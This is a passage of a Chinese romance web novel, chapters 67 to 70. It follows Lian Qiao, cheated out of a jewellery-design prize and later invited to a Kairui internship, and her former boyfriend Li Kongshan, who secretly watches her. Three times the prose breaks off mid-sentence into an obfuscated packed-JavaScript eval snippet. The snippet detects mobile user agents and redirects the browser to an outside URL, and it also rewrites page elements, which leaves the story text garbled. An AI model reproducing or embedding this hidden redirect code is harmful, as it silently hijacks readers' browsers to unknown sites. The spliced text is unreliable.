他看上去还和以前一样,但心里面早已经伤痕累累,只是伪装着,不予外人知晓。 “是是是——”孟河笑笑,和他并肩往楼下酒店后门走去,“哥,那现在情况怎么样?后面一年他还继续和我们合作吗?” 李空山把手搭到孟河肩上,“那必须,除了我们,他也找不到其他更合适的合作对象。刚一进去他就把字儿签了。就是吧……” “他这人有点难缠,非拉着我喝酒,我刚才要不把他灌醉,你还得在外面等我两个小时。” 孟河忍不住给李空山竖起大拇指,往自己脸上贴金,“哥,就知道你这人心疼我,不忍心我一直在外面苦等!” “心疼啥?”李空山笑笑,嘴硬到底,“我是担心再晚点儿回去,景融那小子得把我们房子给端了好吧。” 孟河眼里的期待瞬间化为乌有。 两人出了电梯,转身拐进酒店后大门。 许弋刚已在这里等候多时。 听到脚步声,他连忙站起,欢迎他们。 但由于蹲得太久,腿都麻了。 他看到李空山和孟河,屈膝感叹,“哥,你们总算下来了!” “事情办完了,等会儿一起回去,”李空山点点头,看向许弋刚身旁,“绍兴雨人呢,怎么没看到他。” “对哦,他人呢。” 许弋刚刚才顾着自己在手机上斗地主,输得倾家荡产,看了一堆广告才复活,这会儿才反应过来没看到绍兴雨人影。 “在这儿——我在这儿——” 远处,绍兴雨兴致勃勃朝几人跑来,他手里提着一大口袋套圈套中的小金鱼。 他跑到李空山面前停下,神色自得,“哥,刚子,河孟孟,我给你们看样好东西。” 许弋刚一脸嫌弃,“咦——就几条金鱼,有啥好看的。” “不是,”绍兴雨拿起一直亮着的手机,“有意思的东西是这个,我刚看朋友圈里有人转发,现在的学生真好玩。” “啥玩意?” 孟河也好奇,凑上去瞧。 许弋刚一把抢来手机,“没有意思的话明天的饭你请了啊!”他端详着手机,原来是去大学帮忙直播拍摄的一个团队工作人员发的今晚129活动的表演剪辑。 率先出现的是两排学生在舞台上唱开心向前飞时,那蹦蹦跳跳、抬腿又踢脚、摇头晃脑的画面。 由于要满足所有人都入镜的需要,拍摄距离较远,从屏幕上难以辨清每个人的脸。 许弋刚不甚在意,啧了几声,“我还以为是个什么东西,不就是个表演嘛。” 他把手机转过去递给李空山看。 可递到李空山眼前时,开心向前飞的表演已结束,紧接着的剪辑片段是身着淡黄绣花小裙、像个精灵一样的女孩站在台中央唱歌。 声音清澈柔和。 李空山抬眸看去。 “……” 他若无其事的神情瞬间变得沉重,眸光变暗。 许弋刚发觉不对劲,把手机拿回来自己琢磨。 看清画面上的女孩后,他吓得瞪大眼睛,立马把手机藏在身后,慌张开口,“……哥,对不起……我不知道是她……” 68. 第 68 章 活动结束以后,连翘换上平日里穿的衣服,奶蓝色长袖衫加白色长裤,又重新回到校门对面那条街上的蛋糕店干活。 她只请了五个小时的假,所以在关店打烊之前,还得赶回去。 如果按小时请假,而不是按天数请,扣的钱就能更少些。 现在夜里很少有客人,于是,作为收银员的林帛圩此刻正坐在店门口的藤椅上悠闲哼歌。 听见连翘回来的声音,他睁开眼,一脸惊叹,“哎唷你还真的回来了啊,反正店里就咱两个人,你不回来我也不会给你打小报告的撒——” 他站起来,跟着连翘后面走进店里。 连翘把东西放好,系上围裙,“我要是不回来,万一你把抽屉里的钱都悄悄拿走了怎么办?我可得替老板娘看好你。” 林帛圩皱眉反驳,“哎唷,叔叔我长得啷个端正善良,啷个可能干这种事喃。” 连翘在和他开玩笑,随机笑了笑,没再继续打趣他。 逐一走过货架清点剩余面包。 林帛圩想起点事情,犹犹豫豫走到她旁边,“明年你就大四了,我听别人说,你们大四以后就没课,得自己找事做,那你以后打算做什么?你是学设计的,以后是不是要找个设计公司喃?” “不对劲,”连翘放下手里的活儿,若有所思盯他,“林帛圩,你怎么突然开始关心起我的未来发展了?你不会是想认我当干女儿,以后好让我给你养老送终吧?这种占便宜的事儿是你能想出来的!” “啷个可能喃,”林帛圩摆摆手,立即否决,“我就是好奇撒,你笑得我这个人爱凑热闹咯。” “再说了——”林帛圩难为情地笑笑,“你晓得,我这个人爱去大街上扫垃圾的嘛,你要是当我干女儿,那不是好丢人哦,算咯算咯。” 连翘顿了下,继续用毛巾擦玻璃柜,转移话题,“对了,这个周末,比赛结果能出来,到时候会在报告厅举行颁奖典礼,你要和我一起去吗?” 林帛圩惊喜地凑到她旁边,“去!咋个不去!我陪你去!” - 大厅内暖黄色灯光照耀着屋子,屋内的明亮与屋外的漆黑对比鲜明。 李空山坐在沙发上,一言不发。 他看看左边坐着的一脸认真劲儿、怎么都不肯走的许弋刚,又看看右边坐得笔直、双目炯炯有神的孟河。 不禁叹了口气,身子往后仰,手交叉枕在脑后。 “我说——你们真没必要一直在这儿守着,都快凌晨一点了,还睡不睡觉了?” 许弋刚这才挪动脑袋看他,目光依旧很坚定。 “哥,我们不能走!我们得陪着你,”他开始畅享如果把李空山一个人留在客厅将会是什么样子,不禁感伤,“我不忍心你一个人默默流泪难过。” “就是,”孟河眼巴巴地盯着李空山,“我也不忍心!” 李空山闭上眼睛,无语到甚至想去撞墙。 他拽起身后的两个靠枕,一个朝许弋刚扔去,一个甩到孟河面前。 “你们真是没完没了是吧,流泪?难过?”他看看许弋刚,又看看孟河,“把我当什么人,三岁小朋友?脆弱小男孩?你们的脑子真得去看看,是不是进了水。” 孟河往旁边挪了挪,坐得离斜侧沙发更近些,说:“哥——可是那是连翘哎,咱也没想到,会在榕城碰见她。当初她把你甩了的时候,我记得你伤心了好久,做什么都提不起精神呢!所以——我们现在才不放心你嘛。” 坐在孟河对面的许弋刚听到“把你甩了”这几个字时,眼睛瞪得差点跳出来。 他把李空山甩过来的靠枕顺势甩到孟河身上,“孟河你是不是嘴欠!嘴欠就去找胶布把嘴缠上,真是哪壶不开提哪壶。” 孟河幽怨地盯回去,“骂我干嘛,我这是实话实说。” “行了,”李空山若无其事站起来,神情自在,声音轻快,听起来好像真没什么事,“你们俩自己好好看看几点了?现在立刻给我滚回去睡觉,明天七点在顾老爷子后院集合,你俩要是给我睡过头迟到了,我罚你俩当众学鸵鸟走路信不信。” 许弋刚走到孟河旁边,强行拉他站起,“是!我们现在就回房间,哥你也早点休息!千万千万不能再去想伤心的事,该忘掉的就得彻彻底底忘掉!” 孟河随声附和,“就是!哥!你今天必须得做个好梦,这样才对得起当初她甩你时的决绝!” 李空山笑笑,嫌弃地摆摆手,让他们赶紧走。 大厅的灯熄灭,陷入一片漆黑,李空山上楼,回到自己的房间。 夜色寂寥,脚步声在桌子前戛然而止的时候,房间再度陷入静默。 他打开桌前台灯。 暖橘色灯光下,他的侧脸轮廓清晰而分明,睫毛的影子打在眼底,漆黑眼眸中再度出现年少时的执拗。 他想了想,还是忍不住打开抽屉,找出夹在一本无字书里的照片。 这张照片破破烂烂的,被人撕碎后又重新拼凑,到处都是裂痕,算不上是一张完整的照片。 有的地方缺了一角,有的地方划痕累累。 重新拼好这张照片,定花费了不少功夫。 他盯着平铺在桌面上的照片,目光定格在照片里盘腿坐着的男孩脸上。 看了一眼照片里的另一个人后,又重新把目光定格在他身上。 李空山的眼眸里弥漫着怀念的影子。 “……小海,我又遇见她了……” “但是……如果还能再遇见你……” “该多好……” - 周末,林帛圩要陪连翘一起去颁奖仪式。 他知道这是连翘很重要的一天,于是,一大早就起来,好好地收拾打扮自己。 廉价出租屋里,他把平日里穿的破破烂烂的衣服扔到一旁,把工作日穿的上班衣裳也扔到一旁,满心欢喜地打开塑料袋里装着的向别人借来的夹克外套和裤子。 他站在镜子前装模作样地打量欣赏,终于满意地出门。 公交车的车站站台处,连翘欲言又止,把目光从林帛圩身上收回。 林帛圩特地把路边摊买的十块钱的墨镜摘下来,抬起下巴,“怎样,是不是被我的魅力折服了?” 连翘把脑袋别到一边,小声嘀咕,“看你穿成这样,不知道的还以为你儿子今天结婚……” 827号公交车驶来,靠站停下。 林帛圩这个抠搜老大叔今天居然抢着“付钱”,快步走到连翘面前,站在公交车门口欢迎,帮她刷卡,“今天你是贵宾,有请我们的贵宾上车。” 连翘:“……” 颁奖仪式在美术场馆的七楼举行。 会场内,到场的除了主办方的一些重要人物以及榕城一些珠宝公司和设计公司的高层,就是一些新闻媒体和获奖的人员。 红毯台上,主持人以高亢激昂的声音说道:“在榕城媒体的宣传下,在榕城大学艺术设计学院的协助中,由全国知名珠宝设计公司凯瑞集团举办的国潮文饰设计大赛终于取得圆满成功——让我们以热情的掌声感谢他们对这次活动的支持和付出!” 场馆内随即响起噼里啪啦的掌声。 人群最后方,摄影人员站在摄像机脚架镜头前找角度。 连翘和林帛圩一起坐在观众席中间的位置。 林帛圩偏头凑过去,对连翘低声说,“你放心,等会你上台领奖的时候,我一定把你拍成最好看那个!” “不用,”连翘看着前方台子上的主持人,说:“你别误会,我不是质疑你的拍照能力,我是压根就不想知道。” 林帛圩不服气,还想狡辩。 一直认真听主持人介绍流程的连翘出声打断他,“开始了开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437948|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!要宣布获奖人了!” 林帛圩往正前方看去,“有啥子好惊讶的喃,名单不是早就公布了嘛,今天就是走流程领奖撒。” 他想了想,笑起来,格外自豪,开心得摇头晃脑,“第一名的连翘同学,准备好上台哈。” 主持人致辞完毕,邀请主办方——也就是凯瑞集团旗下公司运营总监上台宣布获奖人员名单, 男人戴着一副眼镜,地中海发型,从主持人手里接过话筒以后,走到台中央,看着手里的名单。 “我宣布——本次国潮文饰设计大赛,获得三等奖的是——西海美术学院,张琳——” 掌声响起,张琳上台领奖。 “获得三等奖的是——中誉大学,汪帆。” 掌声又一次响起,叫到名字的汪帆上台领奖。 “马上就到你了!” 林帛圩激动地偏头,举起两只手,准备等男人宣读完名字就鼓掌。 势必要做掌声最响亮的那个。 连翘若有所思地看林帛圩。 这么激动?不是他刚刚说的没什么好惊讶的吗? 男人站在台上,继续宣读,“而本次——获得一等奖及特等奖的——她就是来自榕城大学艺术设计专业的——” 林帛圩满眼期待,翘首以盼。 连翘也静静等待着男人宣读。 “来自榕城大学艺术设计专业的——高嘉欣同学!!” “恭喜你们,清上台领奖!” 林帛圩愣住,立即站起来指着颁奖台,破口大骂,“搞啥子哦——黑幕!有黑幕!你们之前在公众号上面发的一等奖不是她!黑幕!” 情绪激动,林帛圩气愤,说什么也要上去理论。 连翘赶紧拉住他,“你冷静点儿!” 安保收到台子上男人的眼神示意,从后门进来,把林帛圩赶出去,“这位先生,你妨碍到我们的活动秩序了,请离开。” 林帛圩一脚踩在台阶上,气势汹汹,“我——就——不——你、要、怎、样!!!” 安保闻言,交叉双手,活动手腕,表情冷酷,不动声色,“你不是吧?” …… 于是,连翘和林帛圩认怂,一起被赶出了场馆。 大厦的东南侧是停车场,靠近停车场处有一个小铁门,门下有几层台阶。 林帛圩和连翘一起坐在台阶上。 他擦了下被揍了一拳后流出来的鼻血,心虚,不敢看连翘,“对不起哦……你邀请我来见证你的辉煌时刻,结果遇到这种不公平待遇,我还不能给你撑腰……” “不怪你,”连翘从包里扯出几张纸递给他,声音轻和,“倒是你挺让我意外的,我以为你这人没心没肺,没想到居然愿意为我出头。” 林帛圩拉长声音感叹,心虚,“哎唷——这算啥子出头哦——被别个打了一拳就怂得拉你跑出来,你可莫要打趣叔叔我咯。” “我没打趣你,”连翘想起林帛圩当时二话不说就站起来反抗,确实很意外,“你刚才可威风了,一点儿都不怂,很让我刮目相看。” “真的?” “当然。” 林帛圩愧疚地看连翘,“你现在是不是很伤心?这第一名本来应该是你的,听说那个女娃娃家里有钱,给那男的塞了好处,才擅作主张把你的第一名改给她。” “不伤心。” 连翘摇头,心情很平静,从小到大经历的一切,早已让她学会坦然接受所发生的所有不公。 她说:“还好吧,我真觉得这没什么。只不过呢,我比较心疼钱,眼见就快到手的两万块说飞走就飞走了。” 她又笑笑,看林帛圩,想让他别再往心里去,“早知道这样,我那个时候就不天天熬夜赶稿苦思冥想弄设计了。” “不过还好,只是牺牲了点儿睡眠时间而已,问题不大的。” 69. 第 69 章 夕阳西下,彩霞晕染。 林帛圩让连翘先回去,连翘问他要去干什么,他没说。 等连翘坐上公交车走以后,林帛圩一个人走到盛华小区那边,用垃圾车收道路旁垃圾箱里面的垃圾。 把垃圾都在转运车倒完以后,林帛圩又推着小推车走回库房。 都是体力活,林帛圩额头上满是汗水。 回库房的路上遇到一个小坡,林帛圩使力推上去,刚走到顶坡,手一滑,推车就溜下去。 没办法,他又重新走下去推。 结果第二次推上来,整个人忙得太累,脚开始使不上力,稍稍休息一下,推车又从坡上滑下来。 林帛圩叹了口气,擦额头的汗,又走下去推推车。 刚一把手搭上推车把手,林帛圩的目光里出现另一双手。 他往身旁看去,只见连翘格外自豪地笑着看他。 “怎样?意外吧?” 林帛圩突然间不知道说什么。 他明明亲眼看见连翘上了车,现在她竟然又跑回来找他。 连翘出声:“还愣着干嘛?我帮你一起推上去。” 就这样,两个人借着身后夕阳的余晖,一起把小推车推上坡。 等到顺利把小推车放回库房以后,连翘问林帛圩:“你不是说环卫马甲是你捡的吗?你还来收垃圾干什么?” 林帛圩解释:“好嘛——我实话跟你说——我其实有个儿子,但是小的时候,他被人贩子拐起走了。” “然后呢?” “然后……”林帛圩目光黯了下来,声音变弱,目光里有来自一位老父亲的愧疚,“警察跟我说,我的娃娃他被人贩子搞死了。人贩子挖他器官出去卖……” 连翘怔住。 她没想到林帛圩的孩子竟然也如此不幸。 她声音犹豫,“……所以?你跑出来满大街收垃圾?” 林帛圩点头,目光愧疚,“……对头。警察通知我和他妈,娃娃死了,但是我不相信。我觉得我娃娃他肯定还活着,说不定就在哪个街头流浪。” “我这个父亲当得不好,假如他在外面流浪没吃的没喝的,日子不晓得有多苦。我不配过好日子撒。我出来收垃圾,就是想过跟我儿子一样的生活,说不定哪天还能在街上碰到他喃。” 连翘声音变低,安抚他,“放心,我和你一样,相信你儿子肯定还活着,总有一天你会再找到他。” 林帛圩点头,缓缓笑着看连翘,“我也相信。” - 孟河在楼上找了一圈,没看到人,叮叮咚咚从楼上跑下来,拿走沙发上斗地主的许弋刚手里的手机,“咱哥呢?你看到他人没?我找一圈都没找到。” 许弋刚从孟河手里夺回手机,“放心,他好着呢,我昨晚偷偷去看他,没哭。” 孟河:“……” “我指的不是这个。” “我怕哥回去找她,你说这人多无情无义,当初说走就走,好像咱哥对她的好就跟大街上打发叫花子一样不值钱。你说,要是她又伤咱哥的心,怎么办?” “安啦安啦——”许弋刚继续躺回沙发,“我问过咱哥,他说他不会回去找她,”想了想,许弋刚又补充一句,“他说暂时不会。” “……”孟河刚松懈的神情又继续紧绷。 门外,景融拿着笔记本电脑莽莽撞撞跑进来,见许弋刚和孟河在这儿僵持着,又退回来,偏头盯着两人:“刚子哥,河孟孟,你俩在这儿弄啥呢?有什么好玩儿的吗?带我一个呗。” “没有,”许弋刚把手机里的斗地主给景融看,“你不是对这东西不感兴趣吗,该干嘛干嘛去,哥让你弄的跟踪芯片弄好没?他明天可是要检查的。” “那还用你说,我当然知道,”景融走到孟河身边,撞他肩膀,“河孟孟,我昨天听绍兴雨说,你们碰到了个老熟人,谁啊?跟我说说呗?” 孟河往旁边挪,同景融保持距离,“保密——” 没办法,景融便转移目标,打许弋刚的主意,他坐到他旁边,“刚子哥,那你跟我说说呗?” “不说——”许弋刚又补充一句,“除非你教我怎么赢这玩意儿。” 他疑惑地盯着手机屏幕,怎么都想不明白为什么老是输。 输了一天了。 景融不屑:“这东西多简单,你等我给你搞个破解程序,我保你赢成地主王。” 许弋刚很满意,给他比大拇指,“得,还是你们这种玩电脑的高材生厉害。” 破解之后的斗地主虽然好玩,一路开挂,但是玩久了就没意思,许弋刚又重新把手机放下,跟着孟河一起去健身房监督其他人的体能训练。 从许弋刚口中套到话以后,景融找到李空山 - 酒馆里,景融穿过人群往里走,停在驻唱台前,端着手感叹,“哥啊哥——你可算是让我好找。” 李空山把目光从架子鼓上面移开,看向景融,“你小子也可以啊,找我居然找到这儿了。” “那必须,”景融兴奋地走到他旁边,“根据你离开顾老先生家的时间开始推算,再加上公共交通数据引擎上无你乘车数据信息,排除你坐车的可能,以点至面,可在地图上得出你能去的地方成一个圈。” “再根据你的兴趣排除,就找到你在这儿了,”景融无聊地拿起架子鼓上面的鼓棒,“哥,你怎么突然想起到这儿来?” 掀开帘子,李空山看见外面吧台背着身坐的女孩,转过头来对景融说:“现在,你给我安静。” 闻言,景融立即用手把嘴捂住,听话地点点头。 酒馆外面是吧台,隔着一道墙,里面是驻唱歌手唱歌的地儿。 今天,连翘被窦皖吟强行拉着来这家小酒馆。 “你快来快来——今天我好不容易把你这个大忙人约出来,你必须得好好陪我,不能中途溜走!” 连翘无奈,只好陪她坐下。 她扫视了眼周围,喝小酒解闷的男男女女以及素未谋面也能坐在一起小酌一杯聊聊天的都市青年,回头看窦皖吟,“你心情不好呀?带我来这儿?” 窦皖吟向服务生点了两杯孟买蓝宝石金酒后,说完谢谢,就回答身旁连翘的话。 她拉长声音感慨,“哪是我心情不好,明明是你。” “我?” 连翘疑惑地指自己,眨眨眼,略有不解,最后冒出一句:“你眼睛出问题啦?” 窦皖吟今日穿着一条淡粉短裙,品牌方送的,价格不菲,她垂眸感叹,“连翘翘,你骗得过别人,骗不过我。以我对你的了解,你以前就算再忙,也要去凯瑞公司楼下转转,那可是你梦寐以求的地方,怎么,这些日子都不去了?” 连翘随便找找借口,“哦你说这个啊。我最近不是要找实习吗,忙着找公司投简历,没时间。” “少骗我,”窦皖吟知道连翘在遮掩什么,“你需要找公司吗?以前可是你自己说的,非凯瑞不去。” 只有像凯瑞这样顶端的设计公司,才配得上连翘的真本事。 窦皖吟见连翘没再开口,继续往下说,“我都知道那天的事儿了,高嘉欣是吧,抢你第一名那个,你放心,我都打听好了,据说她还给那天那负责人塞了钱,准备等秋招的时候,直接破格给她发offer。” “还有这事儿?”比起这个,连翘到时更关心另一件事,她抿起嘴角,若有所思打量,“不对啊窦皖吟,那天的事儿你怎么知道?你跟踪我?” “才没有!”窦皖吟慌张,立即反驳,“我可不是这种人!是和你一个店里打工那大叔告诉我的。他说什么……如果你心情不好的话,希望我能多陪你出来走走。” “林帛圩?”连翘搞不懂他绕这么多弯子在想什么。 窦皖吟接着问她:“那你接下来打算怎么办?凯瑞还去吗?据说凯瑞今年在实习生里只收一个人,你怕不怕以后斗不过那关系户?” “怕什么?不怕!” 连翘轻轻拍桌,信誓旦旦,“我连翘就是得让他们好好看看,没有实力的人是绝不可能浑水摸鱼的!” “好,我信你,碰一个。”窦皖吟端起高脚杯递过去。 既然氛围都到这儿了,连翘二话不说,也端起高脚杯和她碰一个。 随后一股脑全喝下去。 窦皖吟连忙拉住她,“我滴个乖乖,你悠着点,不能这么一下子全喝。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450974|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 连翘擦擦嘴角,笑笑说:“我这不是在给咱们助兴嘛。”她接着问窦皖吟,“你呢?大四准备做什么?” 窦皖吟眨眨眼,有些不好意思,“你知道的,我什么也不会,只能去我妈公司里面混混日子咯。” “没关系,这样挺好的,我呢,也相信你以后会越来越好,闯出自己的一片天地。” 窦皖吟问她:“你不觉得像我这样还靠爸妈的人很没用吗?” “当然不会!”连翘向她解释,“你要知道,渠道不重要,重要的是过程,会给自己找事儿做的人,绝对不会没有用。” 小酒馆灯光扑朔迷离,恰到好处的纯音乐和窗外吹进来的清风令人不禁感到沉醉。 还有一分钟,就到八点。 窦皖吟给连翘解释,“每天晚上八点的时候,这里就会有人唱歌,很好听的,不信你听听。” 连翘安静下来倾听。 和缓的前奏响起,如同清泉滴在石头上,滴滴答答,断断续续。 那人嗓音低沉又富有磁性,像是掠过田野的风,飘荡在天上的云,缠缠绵绵,撩人心弦。 歌曲唱道: “我闻到初春的味道,那如同儿时梦境,新鲜的芬芳……也尝到思念的苦涩,那回望远方秋雨般,无垠的萧索——” “我心爱的人啊,多年以后是否还记得,我的惦念,我的忧愁和挣扎……你知不知道,没有你我那颗叮叮当当的心,总是这样……这样无处安放……” 曲调开始慢下来,男生的声音也低了些。 “我去到来时的路上,还是那躺在公路尽头的月亮,电台里放着披头士,可那在我身旁熟睡的你……在哪里……” …… 连翘不知道这首歌是什么时候唱完的,只是整个人的思绪已经进入歌里,仿佛又在公路尽头看到了骑着单车肆意畅行的少年。 又想到…… 窦皖吟在旁边嘀咕的声音响起,“欸今天好像换人了哎,但是唱得也好听。” 连翘忽然抬起头,转身往驻唱台的里面走去。 “连翘翘你去哪儿?” 窦皖吟还没反应过来,连翘就已经拐了进去。 隔着一道墙,连翘穿过侧边的珠帘门,走到里面,目光搜寻着。 酒馆老板见她似乎在找人,便走过来,“你好,有什么可以帮到你的吗?” 连翘目光落在驻唱台中央,穿着黑上衣的男生抱着吉他继续低头吟唱民谣,额前碎发盖过眉毛。 她问酒馆老板,“刚才一直都是他在唱吗?” 酒馆老板礼貌客气回答:“当然。” 好吧,看来的确是她想多了。 连翘点头道谢以后,便失落地回到窦皖吟旁边。 - 窦皖吟有事先走,连翘独自走路回学校。 小酒馆离学校不远,大概就十分钟左右的路程。 街道上行人寥寥,店门上方的招牌还亮着,但店已经闭门。 时而有公交车驶过。 不知为何,那首歌让连翘想起了李空山。 她想起自己离开的前一晚说的所有谎话,想起李空山哪怕明白了她在骗他,也要在布朗熊里面放学费,想起…… 前面不远处,穿着校服背着书包的女学生等在路边,见同样穿着校服骑单车而来的男生,不禁开口“责备”,“你怎么又来了,我不是说让你别来接我吗?每天这样来来回回,你会很累的。” 男生看着她宠溺地笑,“不累,一看到你,我一点儿都不累,好啦,快上车吧。” 女生虽然责备男生此举麻烦,但看到对方来,依然忍不住变得开心。 天空中下起蒙蒙细雨,虽然不大,但密密麻麻。 连翘停下来,立在原处,怔怔看着他们走远。 蓦然想起自己的整个高三,李空山每天下午骑着单车来接她放学,从未缺席。 她看着他们的背影,内心难过,怀念着他和她的过去。 而在连翘身后不远处,穿着黑上衣和深蓝色牛仔工装裤的李空山悄悄出现,同样停下来。 左手插在兜里,右手举着伞。 看着她,怀念她。 70. 第 70 章 “哎唷——翘翘妹儿,都下雨了你啷个还站在这儿喃,走,快点跟我回去。” 林帛圩下班回去的路上,恰好撞见连翘。 他一言不合就撑开手里的伞,朝连翘跑去,帮她撑伞挡雨。 连翘的思绪因林帛圩的声音收回。 “你怎么来了?” 林帛圩看她头发上都是密密麻麻的小雨珠,皱紧眉头,着急开口。 “还好我来了哦,不然的话,都不晓得你要傻傻站在这儿淋好久的雨。你这个女娃娃,咋这么冒冒失失哦,脑子里面在想什么?下雨了啷个都不晓得躲雨哇?” 林帛圩说什么也要拉着连翘往商铺门口走,等雨小一些再送她回去,免得淋湿。 连翘身后不远处,犹豫不前的李空山终究还是收回了脚。 他握紧伞柄,默不作声,悄然转身,拐进面前这条没有尽头的巷子里。 - 凯瑞集团公司总部楼上。 董事长办公室里,杜若华坐在办公椅,查看公司递上来的比赛获奖作品。 她不禁皱眉感叹,“庄旭选的都是些什么东西,越来越没有眼光,这第一名的作品一点儿创意都没有,一看就是国外一些首饰idea的拼接。” 她放下钢笔,把作品集合上扔到一边。 站在办公桌边的秘书接话,“所以依我看,这次的新人招募,还是由董事长你亲自筛选比较好。” 秘书随即把手里的文件递上去,“对了,这是人事部提交上来的最新一批简历投递和代表作品附件,董事长,您请过目。” 杜若华被这次的比赛获奖作品扰得没有兴致,现在自然对秘书交上来的简历和个人作品代表没有期待。 她说:“我不想看,估计也没让我眼前一亮的东西,你随便搁一地儿吧,改天你让人事部那边自己决定。” 秘书解释:“董事长,我觉得你还是有必要亲自看看,崔经理说,这里面有块好玉。” “是吗?” 杜若华淡淡开口,无所谓地把按鼻梁的手放下,睁开眼,打开作品集和简历。 如果没有让人眼前一亮的作品,她浏览的速度很快,直到她翻开一个人的作品代表时,突然停下。 她仔细地端量这份“桃之夭夭”挂脖珠链的细节,不禁发出赞叹,目光里皆是欣赏。 终于,杜若华脸上露出了今日第一抹笑容。 她把这份文件交换给秘书,“行了,我看完了,这个叫连翘的,可以来面试。” 秘书接过文件,笑着回答:“好。” - 收到凯瑞发来的面试通知那天,连翘很开心。 由于要实习,她这些日子在学校外面找了个房子,和另外两个女生一起合租。 闲暇的时间里,她还是会出来跑腿送东西,挣点儿零花钱。 夏日的夜晚,闷热难以散开,萦绕在空气中,广场上有不少中老年妇女在跟随音乐跳广场舞。 她们挥动双手,迈开步子,笑容洋溢,好生惬意。 商场大楼外有一条小吃街,太阳落山以后,正是人出门的时间点,此刻,广场这边人群熙熙攘攘,道路上流光溢彩,夫妻带着小孩子出门遛弯,不断喊着“慢点儿跑”。 广场外的道路上车辆驶过,一去不复还。 连翘骑着小电瓶车上广场,放慢了速度,车头扭来扭曲,一边小心看路,一边出声提醒路人,“不好意思,让一让啊,小心——” 她现在跑的这一单是送花。 花店就在前面不远处。 突然,一个小孩拿着泡泡机横冲过来,偏头的那一瞬间,与连翘目光相撞。 连翘及时刹车,这才没撞到人。 “好险……” 她赶紧下车,“小朋友,你有没有事啊?” 女孩愣愣站着,等连翘走近以后,摇头说:“没事。” 话音一落下,她又拿着泡泡机往前跑去。 连翘盯着她背影大喊:“你路上小心,不要跑太快啊!注意看路——” 叮嘱完以后,连翘又重新把电瓶车停到路边,取下头上戴着的淡粉色头盔,抬头看了眼附近的招牌,朝目标走去。 从店里取到花以后,连翘出来,发现在这一带散步的人越来越多,人群熙熙攘攘,得人挤人才能过路。 于是,连翘只好一路小心翼翼护好怀里的花,在送到客户手里之前,不敢出差错掉地上摔烂。 她垫着脚,把手里的花举起来,每一秒,神情都紧绷着,全神贯注,既要看路、看擦肩而过的行人,也要时刻注意着花有没有问题。 刹那间,三两个人加快速度迎面走来,他们步伐很快,动作莽撞,差点把连翘挤倒。 她脚底不稳,身子往后仰,就要摔下去。 “我的花——” 连翘惊慌看着手中的花就要掉落。 忽然,背后传来一股力量。 一只手有力将她后背托住,阻止她摔下去。 男生又伸出另一只手,接住落下来的花。 他把它重新递进连翘怀里。 “谢谢!太感谢你了!” 站稳以后,连翘松了口气,确认客户的花没有问题,回头想看一眼刚刚是谁帮自己。 可是她回头的时候,人群来来往往,满大街的人低着头,朝他们各自的目的地走去,早已没了她想寻觅的人。 “谁啊……这么奇怪……” 连翘不解,皱着的眉头舒缓开来,没再多想,继续朝小电瓶车走去。 刚走到电瓶车旁边,连翘放好客户的花,正要拿起淡粉头盔戴在头上时,忽然想起刚才背后被人托住的感觉。 像极了…… 她立即掉头,往回走,想要寻找他。 是她的错觉吗? 可不管是不是错觉,现在她都找不到这个人是谁了。 她左右张望着,广场上满是密密麻麻的人,他们都只是彼此世界里的过客,无关纷扰,无关轨迹重叠。 行人匆匆,步履切切。 那一瞬间,连翘仿佛看到了自己与这个世界的剥离。在她和其他生命体之间隔着一条线,这条线划分出她和她以外的人。 她与其他人区别就在于,她能控制自己的意识和行为,而不能控制别人的。 在这片大地上,她是渺茫的生命之一,其他人也是,所有的生命都以为自己是个复杂的存在,可于这片大地而言,不过是沧海一粟。 他们自以为自己被烦心事压得抬不起头,是一件很不得了的事,好似世界都要崩塌了。 可实际上,这个世界不过是一笑而过,因为世界知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466393|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,他们只是陷入了自己的狭隘世界,只要站在高处往下眺望城市和山海,任何烦心事都没什么大不了的。 活着与存在——本身就是希望。 连翘收起自己失落的情绪,转身回去。 她知道,总有一天,她还能再遇见李空山,只要她不放弃,只要她努力往上走,绽放出属于自己的耀眼光芒,耀眼到,有那一天,他也会看到。 - 大厦第18楼,秘书带领连翘从电梯里走出来,逐一向连翘介绍这里的环境和骨干。 身着白衬衫及黑色西装裙,脖子上搭配着精致丝带的秘书走在最前面,“以上呢,就是凯瑞目前的大致情况了。下个月中旬,凯瑞要面向社会发布秋季新品珠宝,董事长说,谁的作品能够被董事会选中,谁就能最终留下来,成为凯瑞的正式设计师。” 话说到这儿,秘书扬起笑容转身面朝连翘,“你可要加油哦,这批实习生一共七人,竞争很激烈,能走到最后的,只有一个。” “谢谢姐姐。”连翘道谢,又问,“那我还有什么注意事项吗?比如在公司里不能做哪些事?” 